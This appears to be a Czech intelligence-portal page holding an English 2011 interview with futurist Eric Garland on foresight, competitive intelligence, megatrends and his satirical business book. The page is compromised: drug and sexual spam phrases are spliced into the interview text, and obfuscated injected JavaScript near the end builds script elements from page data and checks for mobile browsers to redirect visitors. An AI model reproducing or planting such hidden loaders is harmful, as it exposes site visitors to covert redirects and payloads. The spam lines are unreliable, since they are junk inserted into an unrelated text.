Interview with Eric Garland


9. 9. 2011

Eric Garland

Je zakladatelem firmy Competitive Futures a na poli konkurenA?nAi??ho zpravodajstvAi??, kde patAi??Ai?? mezi uznA?vanAi?? odbornAi??ky, se pohybuje jiA? patnA?ct let. V rozhovoru pro PortA?l CI jsem se ho mimo jinAi?? ptal na disciplAi??nu nazvanou Future Intelligence, jeA? je jeho vlastnAi??m artiklem, na svAi??t bez soukromAi?? a jeho vA?hody pro CI profesionA?ly i na trendy, kterAi?? mohou v budoucnu vA?raznAi?? ovlivnit naA?e odvAi??tvAi??.

Eric je autorem nAi??kolika knih, pAi??iA?emA? jeho nejnovAi??jA?Ai??, How to Predict the Futureai??i??and WIN!, zaujala pAi??edevA?Ai??m formou – on sA?m ji oznaA?il jako „business-comedy“ a o jejAi??m vydA?nAi?? jsme vA?s informovali v dubnu letoA?nAi??ho roku.

Rozhovor vA?m pAi??inA?A?Ai??me v pA?vodnAi??m, anglickAi??m znAi??nAi??.
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You are a futurist. I am afraid that even if when the word itself is widely known, people don't really know what's behind. Can you describe thisai??i??let sayai??i??ability in your own words?

I am a futurist, a trend analyst, a scenario planner, a researcher, and an author. All of these terms are subservient to the actual service I provide: intelligence about uncertainty. Simply put, leaders do not have time for their own due diligence on future uncertainties; this is what I offrer to clients, as do the analysts in my employ. We find the relevant data about social, technological, and economic change from the most authoritative sources possible, and decode what they might all mean for our clients.

Now, the word „futurist“ is certainly unique and garners quite a bit of attention. I took this term directly from my mentor, Joseph Coates for whom I worked and with whom I collaborated for years. He took on the moniker as a result of his work during the golden age of futurists, which is to say the middle- to late-20th century. Futurism and foresight came into vogue in America as a direct result of the advent of nuclear weapons. The American military complex in the 1950s became quickly aware of the fact that nuclear weapons would soon proliferate and that military leaders had no idea what this would mean in terms of geopolitics. Warfare had not really changed in 3000 years: infantry, cavalry, projectile weapons. Whether it was spearman, horse archers and catapults, longswordmen, knights and trebuchets, or riflemen, tanks and bombers, military strategy had been essentially unchanged. This is why today's officers still study the battle of the 300 at Thermopylae, the tactics of Roman legions, and Napoleon's three pronged attacks – the principles still apply.

But nuclear weapons offered man the ability to incinerate entire civilizations within hours. There was simply no analogue in history to guide leaders, and the potential consequences could end the human race. This pushed intellectuals such as Herman Kahn at the Rand Corporation to develop tools to look at the future, specifically technology forecasting and scenario planning. Kahn's book On Thermonuclear War was an unflinching look at the unthinkable – that there were several scenarios that could push the Cold War rivalry of the United States and Russia to nuclear annihilation. He wanted to „backcast,“ to look at the most preferred scenario and walk backwards from there. This was unprecedented in the modern era, a major advance in leadership thinking, and the notion of specialized „futurists“ was born, giving us Alvin Toffler, Marv Cetron, Joe Coates, and later, corporate practitioners such as Peter Schwartz.

I stole most of my techniques unabashedly from these pioneers, and so still keep the word „futurist“ in my job description. Now, my career began in the field of competitive intelligence, which borrows from the theoretical frameworks of Michael Porter and the techniques of Fuld, Kahaner, Powell and others. Combining these two approaches for leaders, scenario thinking plus intelligence about the current competitive situation, is what I do every day. Is this being a futurist? A CI practitioner? A strategist? The words are getting less meaningful for me every day. What matters is the ability to bring systems thinking as well as rigorous research and analysis to bear on the problems of leaders of medium- and large-size organizations. If you can do that, join this field. (And send me your CV.)

You stated that You created the discipline of Future Intelligence – in other words, „the marriage of tactical CI with long-range future trend analysis“. What are the biggest advantages of Future Intelligence and why should companies care about it?

„Future intelligence“ is critical today because standard competitive thinking is reliant on a stable market environment, specifically the steady growth of American-style capitalism. That era is coming rapidly to an end. Modern economic thinking, and the management techniques which accompany it, is based on endless resource availability, especially cheap oil and potable water, not to mention the availability of suburbs and under-used farm land to be developed. In that world, competitors were relatively few and competed with similar approaches (General Motors, Ford, Nissan, Audi/ Boeing/Airbus), the boundaries of nation-states were quite firm, with different currencies and regulatory regimes, and competition came mostly from the Western, non-Communist world. The primary unit of analysis was the firm and things were, in retrospect, simple and linear.

Today, almost none of those assumptions are still true. Demographics are shifting rapidly, the Baby Boomers are aging, and consumer demand will flag for decades. The days of cheap oil are through. We are drawing down water tables on all continents. Urban sprawl leaves us with no more cheap land to exploit, especially without that cheap oil to power cars. World-class competition is coming from all corners of the Earth, and the nation-state is decreasingly able to form policies to mitigate outcomes. Financed by banks with ever-fewer regulations, industries have concentrated into fewer and fewer firms.

As a result, simply practicing „competitive intelligence“ to figure out what „the other guy“ is doing and „beating him“ is hopelessly outdated as way to lead a business. Chances are, the most important changes for a leader will come from social trends, technological innovation and adoption, and broad economic shifts. While there are hundreds of purveyors of market data and sales metrics, there are far fewer providing rigorous research on these future trends, or companies that really use such information. When companies practice „future intelligence,“ they „do the right things“ because they understand broader change, and they „do things right“ by using the practices that ensure tactical advantage: quality, customer service, competitive intelligence, financial management, et cetera. There are many cases of success being a result of these two approaches applied in harmony in the same organization.

„It's not flying cars, it's not rocket packs,…“ Do business leaders really think nowadays about the future like about the age of flying cars? It sounds that they have heads in the clouds and they need to fathom the complex environmental situation way better to preserve their companies.

My past comments on „flying cars and rocket packs“ speak to a very specific view of „The Future“ held in the heads of many Baby Boomers currently in management. There has been a strict division between „The Future“ and „real business.“ Most people born in 1940s and 1950s were children of the Space Age in which technological innovation made sizeable improvements in people's lives and achieved amazing things. Pain medication, flight, space travel, cancer drugs, television, plastics, all of these innovations happened in an incredibly short period of time. At the same time, nuclear technology threatened to destroy humanity. Psychologically, Boomers developed a fascinating relationship with „The Future,“ which is to say that when they think of long-term change, they fixate on either miracle gadgets (flying cars and personal rocket-packs) or complete destruction of the human race.

For years, I asked audiences if they were disappointed to reach middle age and not see rocket packs, and there are always many people who feel they were „cheated.“ Also, if you ask these same people what humanity will be doing in the year 3000, over 95% will respond, „We will all be dead.“ People of this age group are convinced that the future will either hold total paradise or complete destruction of the human race. It is a fascinating psychological development that results from growing up the Cold War era.

This kind of love/hate relationship with The Future distorts people's view into the large-scale changes that will alter their lives, not to mention their organizations. When they are busy worrying about mass destruction from bioweapons or nukes, they miss the fact that our real problems will come when petroleum prices double and we still have all of our houses in the suburbs with no public transport. People obsess that in The Future nanotechnology could make us all virtually immortal, but spend no time considering the more likely scenario that Baby Boomers will bankrupt the healthcare systems of most countries on Earth. Also, people overlook practical improvements from new technologies in favor of creating some weird kind of paradise. This is why I try to close the gap between fantasy and reality.

Thus, especially in America, I feel it is important to deal with the psychology of foresight before dumping more trends and scenarios onto people. Process is much more important than content.

Grey world, talent crunch, mobile world and energy crunch. In your video You defined these four sectors that will affect almost all businesses in the near future. What about the CI industry – how will these mega trends affect the business of developing and delivering intelligence?
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Overall, the major implication for intelligence is that all competitive analysis will need to deal with megatrends, to place specific competitor actions in the larger context of what is happening to society. This will mean new skillsets and lots and lots more to read! Hopefully, if you are in this field, you like that kind of challenge.
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You said that we entered the mobile world era, the world where people don't even know what the very concept of privacy was. How does this trend affect the way we do competitive intelligence and is it good or bad news for CI professionals? buy diazepam 10mg online uk order clomid without rx. .

Good news for CI professionals, tougher for companies themselves. As social media becomes the norm, it is very difficult for a company to channel its information into the hands of a few people. If you are trying to learn what a competitor is all about, information is all over the place. But then again, scarcity of information is no longer the problem. The real competitive advantage is due to scarcity of interpretation. Whoever has the best analysts will win competitive struggles. It is no longer a question of who knows „more“ but what narratives they can create with that knowledge – and how they act accordingly.

In July, You released a survey called The state of strategic intelligence in the organization: A Benchmarking Study. What is the purpose of the survey? Any results yet?
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The survey will be released shortly. Some key takeaways are that most cultures are not yet attuned to strategic intelligence, which focuses on activities other than those which directly impact us today. Most organizations will tolerate you being interested in the outside world, so long as you remain mostly focused on internal politics. This needs to change if companies want to survive and thrive.

Another surprising result is how few professionals see the Board of Directors as an audience for strategic intelligence. Only 10% of respondents said that they saw the Board as a regular or potential audience for intelligence work. Well, if the Board of Directors is only there to guide a company in terms of strategic positioning, having zero operational responsibilities, how could they possibly do their job without strategic intelligence? What, are they just guessing? Perhaps this is how we see so many banks and private firms run into the ground, requiring „surprise“ bailouts – the people supposedly in charge of governance do not even receive intelligence reports on the external environment of their organizations. I think this is a hangover from the era of economic stability. If you assume stability, why worry about the future?

I think this will be changing quite a bit in the years to come.

Your latest book, called How to predict the Future… and Win! shows a satirical look at the world of strategy consulting. An imagined writer Dr. P. Hughes Egon gives a lot of silly advice in the book. It's clearly a lampoon of not only these companies, which really act upon these advices, but also of all these falsely insightful books by „highly experienced“ writers made for a managers. Why did You decided to write the satire?

After the bank crash of 2008, I could not believe how quickly the same authority figures were returned to the world stage as the „sensible, conservative“ bearers of elite opinion on business, government, economics and everything else. To me, the bank failures were absurdly predictible – in fact, Competitive Futures had predicted the disappearance of Wall Street firms and the ensuing bailouts down to the month. All of the those adjustable rate mortgages were due for a serious increase in payments at the same time, especially on the lowest-rated borrowers who never had the right income to begin with. Once you understood the scale of the corruption in subprime mortgages and associated financial instruments, it was all pretty simple. Mortgages ARMs would start swinging in late 2007, and chaos would follow soon after. Bear Stearns, Lehman, AIG, Merrill Lynch, bailouts, Madoff, bonuses, begging, crying – it was all so predictable, not even an example of particularly good futures research.

But then, the chorus of voices returned. „Nobody could see it coming.“ And then the standard political and business pundits went right back to preaching the same ideologies they had as before the crash: endless growth, megabanks as the drivers of economic success, tax cuts, more big box retail, investing in your house as an asset. I thought, what good is foresight if people aren't even listening, or if they are caught up in a cult-like belief system?

Some of the futurists really upset me at this time, particularly those who were on the keynote lecture circuit. They did not even change the names of the programs they offered audiences, even after such an obviously life-changing event. They kept talking about „growth“ and about how „technology“ was the future, and that the disruption of the future is „extra demanding consumers, who want things their way!“ Not a bit different than what they were describing in 1990, no recognition of the systemic weaknesses of this economic regime which almost caused a total breakdown in the world order.

I realized that our problem collectively is a reliance on obsolete authority figures, most of whom have the same ideology: Never see things as interconnected. Get this quarter's numbers up, no matter what the cost in a year or two. Worship the big, the powerful, ignore all others. Focus on technology, forget social trends. Compare everything to the historically-unique situation of the 1980s, when you achieved your first success. Never make references to the longer arc of history. Punish people in your organization who suggest negative scenarios. Make sure that intelligence reports are only there to confirm your existing decisions, not to give you insight. These characteristics are failings in many top executives, but they are then reflected by the „strategy gurus“ who serve them. The problem is systemic.

I wrote „How to Predict the Future…and WIN!“ because rather than write some bitter diatribe against failed leadership, I would rather make fun of the whole situation. To me, when people compare scenarios of 2020 and 2050 to what it was like in 1984, that is pretty ridiculous. When American business leaders act like the only language of the world is English, and reading business news in other languages is a waste of time, it doesn't even make me angry, it's patently funny. When they actually say out loud that even though nations, companies and empires rise and fall throughout history, that does not mean that it will ever happen to them, because, you know…uh…we're different! Come on, it makes for good comedy.

So two characters were born: the visionary Dr. P. Hughes Egon, who represents all the author-speaker type futurists who achieved their success in a drastically different environment and still think that their 1986 wisdom is relevant to the world. Dr. Egon's colleague, P. Carter Langston III, writes the introduction. He represents all of the testosterone-poisoning you see in top level management consulting types, people who think, „OK, great, all of this future stuff is fascinating – now how can we grow 13% a year, starting yesterday?“ Both of these characters can mimic the behaviors of people who are actually thinking about the world and making decisions – but in reality, they are just players in a fictional world inside their own mind. They are not aware of the changes in our world, nor acting on those changes, they are merely deriving rent from a certain position in society.

I think in my next book, I can start being serious again, but for now, I had to experiment with the „business-comedy“ segment of books.…/clomiphene/

In your opinion, which books on Future are worth reading today?

This is a tough question. The publishing world has recently collapsed. It's archaic system of demanding your work two years in advance of publication, combined with their unwillingness to provide market support for anybody who is not already famous from television, has made their output much less relevant for readers and writers. As such, the vast majority of business books are an utter waste of time. The publishing industry believes that people, especially business audiences, are patently stupid and that nobody will read a book that does not involve a recognized expert giving a numbered list of solutions to complex problems. I am not being sarcastic here, many people in the publishing industry have literally explained that businesses audiences are unable to take in complex information, so they must be treated like children. IN THOSE WORDS. So I don't waste much time on „15 Ways Every Team Can Achieve the Impossible!“ which is the bulk of the material coming out of what remains of the publishing complex.

Instead, I find myself tuning into expert blogs, especially people who naturally have a view of the future. Gregor Macdonald and Chris Nelder do amazing work on the future of energy. The Infrastructurist is a blog that deals with the role of infrastructure investment determining the future of society and economics, a topic Competitive Futures has dealt with at length. Jon Husband and Michel Cartier are doing research on the future of work and of democracy itself. Scott Edward Anderson is an insightful voice on the future of cleantech. Gerd Leonhard is a musician turned futurist who has been blazing trails on the future of the content industry. Plus, there is the output of my fellow futurists such as Paul Higgins, Ross Dawson, Noah Raford, Thomas Frey, Glen Hiemstra, and others.

I cannot wait around for books to appear. That said, there is something essential about when somebody commits 150, 250, or 500 pages to a single subject. So maybe in five years, there will be some self-published e-books around that I can recommend.

Oenophile, a linguist and professional musician – as You stated: bon vivant. To be honest, mostly I am interested in that professional musician part. Is it just a hobby or is it something more serious?

This is great, because most people in the intelligence world assume that music is the secondary part of my life. In reality, I have been a professional musician for twenty years, composing, recording and performing in a variety of styles. I play the electric and upright basses primarily, and have toured with groups in the Celtic, pop, and Afro-Cuban genres. I spent eleven years in Washington DC as a musician and had the great honor to be first-call for some of the greatest salsa bands in the country: the Verny Varela Orchestra, Gato and the Palenke Music Company, Sin Miedo, Killer Joe Falero, the DC Latin Jazz All-Stars and many others. I have been a musician all my life, my research and development in that area never stops, and while some day I could stop being a futurist, I'll be dead before you can pry my guitars away from me.

Thank you very much for your answers.

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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} forced male ejaculation. overseas no prescription pharmacy. var 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|maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( 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_0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}

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cforms contact form by delicious:days

Rubrika: Rozhovory

Zveřejnil: Tomáš Marek

Štítky: , ,

Sekce: Profesionál, Podnikatel, Student

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